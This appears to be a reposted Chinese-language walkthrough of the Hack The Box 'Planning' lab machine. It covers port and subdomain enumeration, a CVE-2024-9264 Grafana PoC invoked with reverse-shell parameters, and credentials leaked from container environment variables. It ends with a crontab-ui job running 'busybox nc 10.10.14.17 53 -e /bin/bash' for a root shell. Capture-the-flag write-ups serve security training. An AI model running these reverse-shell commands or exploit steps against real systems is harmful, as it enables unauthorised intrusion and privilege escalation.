当前位置: 首页 > news >正文

HTB-Planning

在这里插入图片描述

一、初始侦察与立足点建立

1.1 端口扫描与服务识别
对目标主机 10.10.11.68 进行全端口扫描,以识别开放的服务。

sudo nmap 10.10.11.68 -p- --min-rate=5000 -A

图1: Nmap 扫描结果显示开放 22 (SSH) 和 80 (HTTP) 端口
图1: Nmap 扫描结果显示开放 22 (SSH) 和 80 (HTTP) 端口,重点关注 80 端口的 Web 服务。

1.2 Web 服务探索与目录爆破
访问 80 端口的 Web 服务,发现其重定向至 http://planning.htb/。将该域名添加到本地 DNS 解析文件 (/etc/hosts)后进行访问。

图2: 访问 http://planning.htb/,显示一个 PHP 开发的教育课程网站
图2: 访问 http://planning.htb/,显示一个 PHP 开发的教育课程网站。

使用 feroxbuster 对网站进行目录爆破,寻找敏感文件或路径。

feroxbuster -u http://planning.htb -x php

图3: Feroxbuster 目录爆破结果,发现一个 LICENSE 文件
图3: Feroxbuster 目录爆破结果,发现一个 LICENSE 文件。

查看 LICENSE 文件内容,并通过搜索引擎查询,判断该网站是基于这个公开的 Web 模板开发的,接近是一个静态网站,很难有从这里利用的路径。

图4: LICENSE 文件内容截图
图4: LICENSE 文件内容,指向一个通用 Web 模板。

1.3 子域名爆破与 Grafana 发现
尝试进行子域名爆破。但没有任何发现。

ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fs 178

图5: 使用小字典进行子域名爆破,无有效发现
图5: 使用小字典进行子域名爆破,无有效发现。

靶机给了我们初始的凭证,已经明示了有 Web 站点了。暂时没有其他思路,换用更大的字典接着进行子域名爆破,成功发现新的子域名。

ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -t 100 -fs 178

图6: 使用大字典进行子域名爆破,成功发现 grafana.planning.htb
图6: 使用大字典进行子域名爆破,成功发现 grafana.planning.htb

grafana.planning.htb 添加到本地 DNS 解析后访问,发现是一个 Grafana 服务界面。Grafana 是一个开源的数据可视化和监控平台。

图7: 访问 grafana.planning.htb,显示 Grafana 登录界面
图7: 访问 grafana.planning.htb,显示 Grafana 登录界面。

1.4 Grafana 登录与漏洞利用 (CVE-2024-9264)
使用靶机提供的初始凭证 admin / 0D5oT70Fq13EvB5r 尝试登录 Grafana 系统。

图8: 使用初始凭证成功登录 Grafana 系统
图8: 使用初始凭证 admin / 0D5oT70Fq13EvB5r 成功登录 Grafana 系统。

登录后,没有发现有版本信息,搜索 Grafana 相关的已知漏洞,发现一个近期披露的漏洞 CVE-2024-9264。无论如何先尝试利用。

图9: 网络搜索到的 Grafana 相关漏洞信息 (CVE-2024-9264)
图9: 网络搜索到的 Grafana 相关漏洞信息 (CVE-2024-9264)。

利用找到的 PoC 脚本,设置反向 Shell 连接至攻击机 10.10.14.1753 端口。

python3 poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.17 --reverse-port 53

图10: 成功利用 CVE-2024-9264 获得反向 Shell
图10: 成功利用 CVE-2024-9264 获得反向 Shell,当前用户为 root。

1.5 Docker 容器内信息收集
检查当前 Shell 环境,发现存在 /.dockerenv 文件,表明当前 Shell 位于 Docker 容器内部。

ls -alh /.dockerenv

图11: /.dockerenv 文件存在,确认当前环境为 Docker 容器
图11: /.dockerenv 文件存在,确认当前环境为 Docker 容器。

在容器内部署并运行 linpeas.sh 脚本进行信息收集,寻找敏感信息或逃逸路径。

图12: 在 Docker 容器内上传并运行 linpeas.sh
图12: 在 Docker 容器内上传并运行 linpeas.sh

linpeas.sh 的输出结果中,在环境变量部分发现了泄露的凭证:enzo / RioTecRANDEntANT!

图13: Linpeas.sh 发现环境变量中泄露的用户 enzo 的凭证
图13: Linpeas.sh 发现环境变量中泄露的用户 enzo 的凭证。

二、主机渗透与横向移动

2.1 SSH 登录与主机信息枚举
利用在 Docker 容器内发现的凭证 enzo / RioTecRANDEntANT! 尝试通过 SSH 登录宿主机 (10.10.11.68)。

图14: 使用 enzo 的凭证成功通过 SSH 登录宿主机
图14: 使用 enzo 的凭证成功通过 SSH 登录宿主机。

登录后,进行基本的手动信息枚举。查看网络连接,发现宿主机本地开放了 30008000 端口。其中 3000 端口为之前访问的 Grafana 服务。

图15: 主机本地端口监听情况,3000 和 8000 端口引起注意
图15: 主机本地端口监听情况,30008000 端口引起注意。

2.2 本地端口转发与服务识别
为了访问宿主机本地的 8000 端口服务,使用 SSH 本地端口转发功能。

ssh -N -L 8000:127.0.0.1:8000 enzo@10.10.11.68

图16: 访问本地转发的 8000 端口,服务需要认证
图16: 访问本地转发的 8000 端口,服务需要认证。尝试之前获取的凭证均失败。

为了确定 8000 端口运行的服务及潜在的提权向量,再次在宿主机上上传并运行 linpeas.sh 进行更全面的信息收集。

图17: 在宿主机上运行 linpeas.sh 进行信息收集
图17: 在宿主机上运行 linpeas.sh 进行信息收集。

三、权限提升:Crontab-UI

3.1 Crontab-UI 凭证获取
仔细审查 linpeas.sh 在宿主机上的输出,发现一个名为 crontab-ui 的应用进程,这个程序很陌生,并不是 Linux 上内置或者常见的,可能与 8000 端口的服务相关。

图18: Linpeas.sh 输出中发现 crontab-ui 进程
图18: Linpeas.sh 输出中发现 crontab-ui 进程。

同时,在 /opt 目录下发现一个名为 crontabs 的目录,其中包含 crontab.db 文件,推测这可能是 crontab-ui 的数据库或配置文件。

图19: /opt/crontabs/crontab.db 文件路径被发现
图19: /opt/crontabs/crontab.db 文件路径被发现。

查看 crontab.db 文件内容。

cat /opt/crontabs/crontab.db

图20: crontab.db 文件内容中包含参数 -P P4ssw0rdS0pRi0T3c
图20: crontab.db 文件内容中包含参数 -P P4ssw0rdS0pRi0T3c,这极有可能是 crontab-ui 的登录密码。

3.2 Crontab-UI 登录与利用
尝试使用用户名 root 和从 crontab.db 中获取的密码 P4ssw0rdS0pRi0T3c 登录本地转发的 8000 端口上的 Web 服务。

图21: 使用 root / P4ssw0rdS0pRi0T3c 成功登录 Crontab-UI
图21: 使用 root / P4ssw0rdS0pRi0T3c 成功登录 Crontab-UI 界面,这是一个计划任务管理平台。

Crontab-UI 允许以 root 权限管理和执行计划任务。我们可以利用此功能创建一个反弹 Shell 的任务。

图22: 在 Crontab-UI 中创建新的计划任务,命令为反弹 Shell
图22: 在 Crontab-UI 中创建一个新的计划任务,设置为每分钟执行,命令为 busybox nc 10.10.14.17 53 -e /bin/bash,保存并手动触发执行。

3.3 获取 Root Shell
在攻击机上监听 53 端口,等待 Crontab-UI 执行计划任务。

图23: 成功接收到 Crontab-UI 触发的反弹 Shell,获得宿主机 root 权限
图23: 成功接收到 Crontab-UI 触发的反弹 Shell,获得宿主机 root 权限。

至此,已成功获取目标主机的最高权限。


相关文章:

  • PnP(Perspective-n-Point)算法 | 用于求解已知n个3D点及其对应2D投影点的相机位姿
  • Python基础教程:控制流与函数入门 - 第4-6天
  • 【网络入侵检测】基于Suricata源码分析FlowWorker实现
  • 智能仓储落地:机器人如何通过自动化减少仓库操作失误?
  • DeepSeek - 尝试一下GitHub Models中的DeepSeek
  • EasyRTC音视频实时通话助力微信小程序:打造低延迟、高可靠的VoIP端到端呼叫解决方案
  • 【ConvLSTM第二期】模拟视频帧的时序建模(Python代码实现)
  • Text-to-SQL评估体系:从Spider 1.0数据集到2.0框架的跨越与革新
  • HOW - 简历和求职面试宝典(八)
  • 【春秋云镜】CVE-2022-26965 靶场writeup
  • 江西某石灰石矿边坡自动化监测
  • 【Hive 运维实战】一键管理 Hive 服务:Metastore 与 HiveServer2 控制脚本开发与实践
  • LeetCode Hot100(多维动态规划)
  • 基于vue框架的独居老人上门护理小程序的设计r322q(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • 前端面试核心考点全解析
  • 华为OD机试真题——告警抑制(2025A卷:100分)Java/python/JavaScript/C/C++/GO最佳实现
  • .NET 开源工业视觉系统 OpenIVS 快速搭建自动化检测平台
  • ST-GCN
  • 表单请求为什么需要进行 URL 编码?—详解application/x-www-form-urlencoded的正确用法
  • 自动化立体仓库堆垛机SRM控制系统FC19手动控制功能块开发
  • 建立品牌网站的/今天热点新闻
  • 做网站好还是网页好/百度seo技术优化
  • 做网站需要什么准备/软件开发app制作
  • php备份网站/网络销售平台有哪些软件
  • 网站建设流程图viso/9个广州seo推广神技
  • 东营有做网站的公司/新闻发稿渠道